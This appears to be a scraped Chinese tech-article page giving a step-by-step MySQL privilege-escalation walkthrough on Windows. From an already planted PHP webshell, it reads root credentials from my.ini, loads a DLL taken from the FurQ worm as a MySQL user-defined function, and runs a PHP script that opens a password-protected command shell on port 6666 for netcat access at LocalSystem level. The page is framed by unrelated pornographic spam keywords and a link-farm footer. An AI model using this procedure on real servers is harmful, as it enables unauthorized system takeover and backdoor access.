国产99久久精品_欧美日本韩国一区二区_激情小说综合网_欧美一级二级视频_午夜av电影_日本久久精品视频

最新文章專題視頻專題問答1問答10問答100問答1000問答2000關鍵字專題1關鍵字專題50關鍵字專題500關鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關鍵字專題關鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
問答文章1 問答文章501 問答文章1001 問答文章1501 問答文章2001 問答文章2501 問答文章3001 問答文章3501 問答文章4001 問答文章4501 問答文章5001 問答文章5501 問答文章6001 問答文章6501 問答文章7001 問答文章7501 問答文章8001 問答文章8501 問答文章9001 問答文章9501
當前位置: 首頁 - 科技 - 知識百科 - 正文

為MySQL提權簡單方法_MySQL

來源:懂視網 責編:小采 時間:2020-11-09 18:06:34
文檔

為MySQL提權簡單方法_MySQL

為MySQL提權簡單方法_MySQL:bitsCN.com 前不久網上公開了一個MySQL Func的漏洞,講的是使用MySQL創建一個自定義的函數,然后通過這個函數來攻擊服務器。最早看到相關的報道是在o-otik上,但是公布的是針對Unix系統的Exploit,并且成功率也不是很高.而近期,國內有高手放出針對Win系統的
推薦度:
導讀為MySQL提權簡單方法_MySQL:bitsCN.com 前不久網上公開了一個MySQL Func的漏洞,講的是使用MySQL創建一個自定義的函數,然后通過這個函數來攻擊服務器。最早看到相關的報道是在o-otik上,但是公布的是針對Unix系統的Exploit,并且成功率也不是很高.而近期,國內有高手放出針對Win系統的

bitsCN.com

前不久網上公開了一個MySQL Func的漏洞,講的是使用MySQL創建一個自定義的函數,然后通過這個函數來攻擊服務器。最早看到相關的報道是在o-otik上,但是公布的是針對Unix系統的Exploit,并且成功率也不是很高.而近期,國內有高手放出針對Win系統的相關文章,于是我馬上找來與朋友一同研究.

  其實我們早就能想到.當我們在對MSSQLOracle數據庫進行攻擊的時候,得到了最數據庫中高權限的帳戶,往往都是執行特殊的擴展過程或者函數來進行攻擊的。比如MSSQL有Xp_cmdshell,Oracle可以通過Msvcrt.dll來創建一個特殊的函數.而我們卻始終沒有想到,作為流行的數據庫軟件之一的MySQL,也是可以進行函數的創建的.由此看來,MySQL的這個漏洞不應稱為漏洞而僅僅是一個技術而已.

  廢話一堆過后,我們來了解一下怎么在MySQL里創建一個函數吧.這比如何利用重要許多,只要了解了原理,運用就能更加靈活,而且可以與其他思想融會貫通.

  MySQL中創建一個函數的語句為:

  Create Function FunctionName Returns [String|Integer|Real] Soname C:function.dll;

  其中FunctionName指的是函數的名稱,C:Function.DLL指的是函數所調用的DLL,而函數名正是DLL中的函數名稱.不過這里需要我們注意的是,如果我們需要MySQL可以在函數之中附帶一個參數的話,那么就要符合UDF形式的程序編寫規則,具體的可以查看MySQL手冊的第14節:《為MySQL增加新函數》.而其中STRING,INTEGET,REAL是函數執行后所返回的值的形式.當然,我們大可不必遵循UDF形式的編寫,其實如果我們的函數中使用一個我們要執行的代碼,而不使用參數,一樣可以達到攻擊的效果,比如說System("command.com")等等.網上現在以此漏洞進行攻擊的FurQ蠕蟲就是一個不使用UDF格式的例子.但是注意,這個創建函數的語句必須要求我們所用的MySQL帳戶有對mysql這個數據庫的寫權限,否則無法正常使用.

  好了.了解了原理之后,我們來實戰一下如何使用MySQL提升權限.

  在這里我們已經通過各式各樣的漏洞取得了一個服務器的WebShell,我這里演示的是angel的phpspy,因為PHP默認有連接MySQL的函數,而ASP這些需要使用附加的組件來進行連接,本身不具備條件的.

  一般來說,在Win系統下面,很多軟件都會在系統目錄下創建一個叫my.ini的文件,其中包含了很敏感的MySQL信息.而如果我們攻克的主機沒有非常好的權限設置的話,我們本身就具有對%windir%目錄的瀏覽權限,所以可以非常容易的讀取其中的信息.而且非常多的管理員通常是將root帳戶與密碼寫進這個My.ini,所以一旦我們讀到root用戶的密碼,就可以操縱整個MySQL數據庫或者是服務器了.如圖1.

  得到MySQL的Root密碼之后,我們需要上傳我們的DLL文件,我這里使用的是從FurQ蠕蟲中提取的FurQ.dll.執行這個FurQ.DLL中的Shell函數,系統將會在6666端口打開一個帶密碼的CMDShell,當然,密碼我們已經知道,就是"FurQ"幾個字符而已.不過我們現在還沒有執行的條件.需要通過MySQL將這個函數創建到MySQL中去.

  現在,我們用PHPSPY新建一個PHP文件.

  輸入以下的內容

  

  $link=mysql_connect(127.0.0.1,root,root);

  if (!$link) {

  die(Could NOt Connect The Database!: . mysql_error());

  };

  echo "Good Boy.Connected!
";

  //這里的rootoot就是從my.ini中讀取的用戶和密碼.

  @mysql_select_db(mysql) or die (use database mysql failed!);

  echo "Yes You Did!
";

  //這里選擇使用MySQL數據庫表.當然你也可以選擇別的,如test.

  $query="Create Function Shell RETURNS INTEGER SONAME d:/wwwroot/FurQ.dll;";

  @$result = mysql_query($query, $link) or die ("Create Function Failed!");

  echo "Goddess...Successed!
";

  //這兩句話是關鍵,執行MySQL的創建函數語句.將d:wwwrootfurq.dll中的Shell函數創建進MySQL中.使得MySQL可以執行這個Shell函數.

  $query="Select Shell();";

  @$result = mysql_query($query, $link) or die ("Execute failed");

  echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
";

  //這一步是執行這個Shell函數,打開服務器的6666端口.

  ?>

  再次執行,全部正常返回.如圖2.那么現在,我們就可以使用nc連接服務器的6666端口,輸入這個密碼:FurQ.然后就返回CMDSHELL了..當然,由于繼承的是MySQL的權限,而Win系統下MySQL默認以服務安裝,也就是說,我們得到的Shell為LocalSystem權限,可以為所欲為了,不過不要做壞事哦.呵呵.

bitsCN.com

聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

文檔

為MySQL提權簡單方法_MySQL

為MySQL提權簡單方法_MySQL:bitsCN.com 前不久網上公開了一個MySQL Func的漏洞,講的是使用MySQL創建一個自定義的函數,然后通過這個函數來攻擊服務器。最早看到相關的報道是在o-otik上,但是公布的是針對Unix系統的Exploit,并且成功率也不是很高.而近期,國內有高手放出針對Win系統的
推薦度:
  • 熱門焦點

最新推薦

猜你喜歡

熱門推薦

專題
Top
主站蜘蛛池模板: 黄色毛片在线观看 | 国产成人一区 | 国产高清在线播放免费观看 | 国产一区二区在线观看视频 | 91免费高清视频 | 91精品国产亚一区二区三区 | 亚洲精品乱码久久久久久v 亚洲精品免费观看 | 日本激情网址 | 日本a级精品一区二区三区 日本不卡视频一区二区三区 | 91在线 一区 二区三区 | 午夜欧美视频 | 91大神在线精品视频一区 | 黄色免费一级视频 | 久久66热re国产毛片基地 | 国产美女一级特黄毛片 | 久久国产欧美日韩高清专区 | 91专区| 91精品国产综合久 | 亚洲精品日韩中文字幕久久久 | 91久热 | 麻豆精品久久久 | 日本aⅴ精品一区二区三区久久 | 亚洲欧洲日韩在线 | 国产美女一级毛片 | 欧美亚洲免费 | 在线视频日韩 | 成人欧美一区二区三区黑人 | 久久久久亚洲精品美女 | 一区二区电影 | 久久久久亚洲精品成人网小说 | 一级毛片不卡片免费观看 | 亚洲国产精品欧美日韩一区二区 | 成人日韩在线 | 香蕉视频免费在线 | 国产精品视频久久久久久 | 国产日产欧美一区二区三区 | 欧美日韩一本 | 亚洲国产精品婷婷久久 | 亚洲午夜一区二区三区 | 久久伊人精品一区二区三区 | 亚洲页码|